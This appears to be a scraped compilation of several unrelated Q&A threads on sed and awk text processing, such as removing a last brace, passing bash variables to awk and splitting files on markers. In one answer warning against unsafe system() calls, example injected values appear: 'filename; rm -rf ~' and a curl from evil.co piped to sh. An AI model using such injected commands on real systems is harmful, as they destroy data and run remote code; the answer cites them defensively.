I'm trying to use sed to remove the last occurrence of } from a file. So far I have this:
sed -i 's/\(.*\)}/\1/' file
But this removes as many } as there are on the end of the file. So if my file looks like this:
foo
bar
}
}
}
that command will remove all 3 of the } characters. How can I limit this to just the last occurrence?
someone game me this as a solution
sed -i '1h;1!H;$!d;g;s/\(.*\)}/\1/' file
I'm just not sure it's as good as the above awk solution.
sed is an excellent tool for simple substitutions on a single line. For anything else, just use awk, e.g. with GNU awk for gensub() and multi-char RS:
$ cat file1
foo
bar
}
}
}
$
$ cat file2
foo
bar
}}}
$
gawk -v RS='^$' -v ORS= '{$0=gensub(/\n?}([^}]*)$/,"\\1","")}1' file1
foo
bar
}
}
$
$ gawk -v RS='^$' -v ORS= '{$0=gensub(/\n?}([^}]*)$/,"\\1","")}1' file2
foo
bar
}}
$
Note that the above will remove the last } char AND a preceding newline if present as I THINK that's probably what you would actually want but if you want to ONLY remove the } and leave a trailing newline in those cases (as I think all of the currently posted sed solutions would do), then just get rid of \n? from the matching RE:
$ gawk -v RS='^$' -v ORS= '{$0=gensub(/}([^}]*)$/,"\\1","")}1' file1
foo
bar
}
}
$
And if you want to change the original file without manually specifying a tmp file, just use the -i inplace argument:
$ gawk -i inplace -v RS='^$' -v ORS= '{$0=gensub(/}([^}]*)$/,"\\1","")}1' file1
$ cat file1
foo
bar
}
}
$
With a buffer you can modify the file directly:
awk 'BEGIN{file=ARGV[1]}{a[NR]=$0}/}/{skip=NR}END{for(i=1;i<=NR;++i)if(i!=skip)print a[i]>file}' file
thnks to #jthill for remark for the 1 line file issue
sed ':a
$ !{N
ba
}
$ s/}\([^}]*\)$/\1/' YourFile
Need to load the file in buffer first. This does not remove the new line if } is alone on a line
When I read "do something with the last ...", I think "reverse the file, do something with the first ..., re-reverse the file"
tac file | awk '!seen && /}/ {$0 = gensub(/(.*)}/, "\\\1", 1); seen = 1} 1' | tac
Related
The following bash code incorporates the awk code to fuse file1 and file2 in the special fashion, detecting some blocks in the file2 and inserting there all strings from the file1.
#!/bin/bash
# v 0.09 beta
file1=/usr/data/temp/data1.pdb
file2=/usr/data/temp/data2.pdb
# merge the both
awk -v file="${file1}" '/^ENDMDL$/ {system("cat file");}; {print}' "${results}"/"${file2} >> output.pdb
The problem that I can not use in the awk part the variable "file", which relates to the file1 defined in bash
{system("cat file");}
othervise if I past here the full path of the file1 it works well
{system("cat /usr/data/temp/data1.pdb");}
how I could fix my awk code to be able using directly a bash variable there?
The Literal (But Evil, Insecure) Answer
To answer your literal question:
awk -v insecure="filename" 'BEGIN { system("cat " insecure) }'
...will run cat filename.
But if someone passed insecure="filename; rm -rf ~" or insecure='$(curl http://evil.co | sh)', you'd have a very bad day.
The Right Answer
Pass the filename on awk's command line, and check FNR to see if you're reading the first file or a subsequent one.
Use GNU Awk's readfile library:
gawk -i readfile -v file1="$file1" 'BEGIN { file1_data = readfile(file1) }
/^ENDMDL$/ { printf "%s", file1_data } 1' ...
Alternative you can use a while ((getline < file1) > 1) loop to fetch the data.
This is easier with sed
$ sed '/^ENDMDL$/r file1' file2
inserts file1 after the marker.
to replace the marker line with the file1 contents
$ sed -e '/^ENDMDL$/{r file1' -e 'd}' file2
I have a file with a list of phrases
apples
banananas
oranges
I'm running cat file.txt | xargs -I% sh -c "grep -Eio '(an)' >> output.txt"
What I can't figure out, is that I want the output to contain the original line, for example:
bananas,an
oranges,an
How can I prefix the output of grep to also include the value being piped to it?
This should be a task for awk, could you please try following.
awk '/an/{print $0",an"}' Input_file
This will look for string an in all lines of Input_file and append an in them too.
Solution with sed:
sed '/an/s/$/,an/' intput_file
This finds lines that match the pattern /an/, and appends ,an to the end of the pattern space $.
Use awk instead of grep:
$ awk -v s="an" ' # search string
BEGIN {
OFS="," # separating comma
}
match($0,s) { # when there is a match
print $0,substr($0,RSTART,RLENGTH) # output
}' file
Output:
banananas,an
oranges,an
I have a text file and it's contents are like below,
foo.txt
firefox:
Installed: 24.0+build1-0ubuntu1
Candidate: 24.0+build1-0ubuntu1
I want to print the first field in the first line if the value of Installed and the Candidate are not same.If it's same then empty output is enough.
I tried,
cat foo.txt | awk '$1~/^Installed:/ {var=$2;next} $1~/^Candidate:/ {var1=$2;next} NR==1 {pkg=$1} {if(var != var1) { print pkg;} }'
But it displays nothing.It would be better if you provide an awk solution.
You were close:
$ cat foo.txt
firefox:
Installed: 24.0+build1-0foo
Candidate: 24.0+build1-0bar
$ awk '$1~/^Installed:/ {var=$2;next} $1~/^Candidate:/ {var1=$2;next} NR==1 {pkg=$1} END {if(var != var1) { print pkg;} }' foo.txt
firefox:
if I have a file test.txt:
example 1 content 2013-3-8:
hello java
example 2 content 2013-4-9:
hello c
how can I use awk or sed to seperate the test.txt to two file
test1
hello java
test2
hello c
I use the command below:
awk '/example/{i++}{print > "test"i}' test.txt
but it will remain the first line(example xxx), can I add some fragment to the print in awk to delete the first line?
You almost have it:
awk '/^example/ { i++; next } { print >"test"i}'
the next makes awk skip the rest of the statements.
You can use getline to skip the first line. The following should give the desired output:
awk '/example/{getline; i++}{print > "test"i}' test.txt
Some weird way of doing this with sed:
sh <<< $(sed '/example/{N;s/\n//;s/example \([0-9]*\).*:\(.*\)/echo "\2" >> test\1;/}' input)
This might work for you (GNU sed):
sed -ne '2~4w test1.txt' -e '4~4w test2.txt' test0.txt
You could try something like :
awk 'BEGIN {i=0; j=0} /example/{i++; j=0} (j != 0){print > "test"i} {j++}' test.txt
sed -n "
/example 1/ {N;s/^.*\n//
w test1.txt
}
/example 2/ {N;s/^.*\n//
w test2.txt
}" test.txt
if you define a delimiter between section (define size or marker), there could be more text to put in each file
To complete the response from Alok Singhal: if you reach the "too many open files" limit on linux, you have to close the files in line.
awk '/^example/ {close("test" i); i++; next } { print >"test" i}'
I have a binary file which I convert into a regular file using hexdump and few awk and sed commands. The output file looks something like this -
$cat temp
3d3d01f87347545002f1d5b2be4ee4d700010100018000cc57e5820000000000000000000
000000087d3f513000000000000000000000000000000000001001001010f000000000026
58783100b354c52658783100b43d3d0000ad6413400103231665f301010b9130194899f2f
fffffffffff02007c00dc015800a040402802f1d5b2b8ca5674504f433031000000000004
6363070000000000000000000000000065450000b4fb6b4000393d3d1116cdcc57e58287d
3f55285a1084b
The temp file has few eye catchers (3d3d) which don't repeat that often. They kinda denote a start of new binary record. I need to split the file based on those eye catchers.
My desired output is to have multiple files (based on the number of eyecatchers in my temp file).
So my output would look something like this -
$cat temp1
3d3d01f87347545002f1d5b2be4ee4d700010100018000cc57e582000000000000000
0000000000087d3f513000000000000000000000000000000000001001001010f00000000
002658783100b354c52658783100b4
$cat temp2
3d3d0000ad6413400103231665f301010b9130194899f2ffffffffffff02007c00dc0
15800a040402802f1d5b2b8ca5674504f4330310000000000046363070000000000000000
000000000065450000b4fb6b400039
$cat temp3
3d3d1116cdcc57e58287d3f55285a1084b
The RS variable in awk is nice for this, allowing you to define the record separator. Thus, you just need to capture each record in its own temp file. The simplest version is:
cat temp |
awk -v RS="3d3d" '{ print $0 > "temp" NR }'
The sample text starts with the eye-catcher 3d3d, so temp1 will be an empty file. Further, the eye-catcher itself won't be at the start of the temp files, as was shown for the temp files in the question. Finally, if there are a lot of records, you could run into the system limit on open files. Some minor complications will bring it closer to what you want and make it safer:
cat temp |
awk -v RS="3d3d" 'NR > 1 { print RS $0 > "temp" (NR-1); close("temp" (NR-1)) }'
#!/usr/bin/perl
undef $/;
$_ = <>;
$n = 0;
for $match (split(/(?=3d3d)/)) {
open(O, '>temp' . ++$n);
print O $match;
close(O);
}
This might work:
# sed 's/3d3d/\n&/2g' temp | split -dl1 - temp
# ls
temp temp00 temp01 temp02
# cat temp00
3d3d01f87347545002f1d5b2be4ee4d700010100018000cc57e5820000000000000000000000000087d3f513000000000000000000000000000000000001001001010f000000000026 58783100b354c52658783100b4
# cat temp01
3d3d0000ad6413400103231665f301010b9130194899f2ffffffffffff02007c00dc015800a040402802f1d5b2b8ca5674504f4330310000000000046363070000000000000000000000000065450000b4fb6b400039
# cat temp02
3d3d1116cdcc57e58287d3f55285a1084b
EDIT:
If there are newlines in the source file you can remove them first by using tr -d '\n' <temp and then pipe the output through the above sed command. If however you wish to preserve them then:
sed 's/3d3d/\n&/g;s/^\n\(3d3d\)/\1/' temp |csplit -zf temp - '/^3d3d/' {*}
Should do the trick
Mac OS X answer
Where that nice awk -v RS="pattern" trick doesn't work. Here's what I got working:
Given this example concatted.txt
filename=foo bar
foo bar line1
foo bar line2
filename=baz qux
baz qux line1
baz qux line2
use this command (remove comments to prevent it from failing)
# cat: useless use of cat ^__^;
# tr: replace all newlines with delimiter1 (which must not be in concatted.txt) so we have one line of all the next
# sed: replace file start pattern with delimiter2 (which must not be in concatted.txt) so we know where to split out each file
# tr: replace delimiter2 with NULL character since sed can't do it
# xargs: split giant single-line input on NULL character and pass 1 line (= 1 file) at a time to echo into the pipe
# sed: get all but last line (same as head -n -1) because there's an extra since concatted-file.txt ends in a NULL character.
# awk: does a bunch of stuff as the final command. Remember it's getting a single line to work with.
# {replace all delimiter1s in file with newlines (in place)}
# {match regex (sets RSTART and RLENGTH) then set filename to regex match (might end at delimiter1). Note in this case the number 9 is the length of "filename=" and the 2 removes the "§" }
# {write file to filename and close the file (to avoid "too many files open" error)}
cat ../concatted-file.txt \
| tr '\n' '§' \
| sed 's/filename=/∂filename=/g' \
| tr '∂' '\0' \
| xargs -t -0 -n1 echo \
| sed \$d \
| awk '{match($0, /filename=[^§]+§/)} {filename=substr($0, RSTART+9, RLENGTH-9-2)".txt"} {gsub(/§/, "\n", $0)} {print $0 > filename; close(filename)}'
results in these two files named foo bar.txt and baz qux.txt respectively:
filename=foo bar
foo bar line1
foo bar line2
filename=baz qux
baz qux line1
baz qux line2
Hope this helps!
It depends if it's a single line in your temp file or not. But assuming if it's a single line, you can go with:
sed 's/\(.\)\(3d3d\)/\1#\2/g' FILE | awk -F "#" '{ for (i=1; i++; i<=NF) { print $i > "temp" i } }'
The first sed inserts a # as a field/record separator, then awk splits on # and prints every "field" to its own file.
If the input file is already split on 3d3d then you can go with:
awk '/^3d3d/ { i++ } { print > "temp" i }' temp
HTH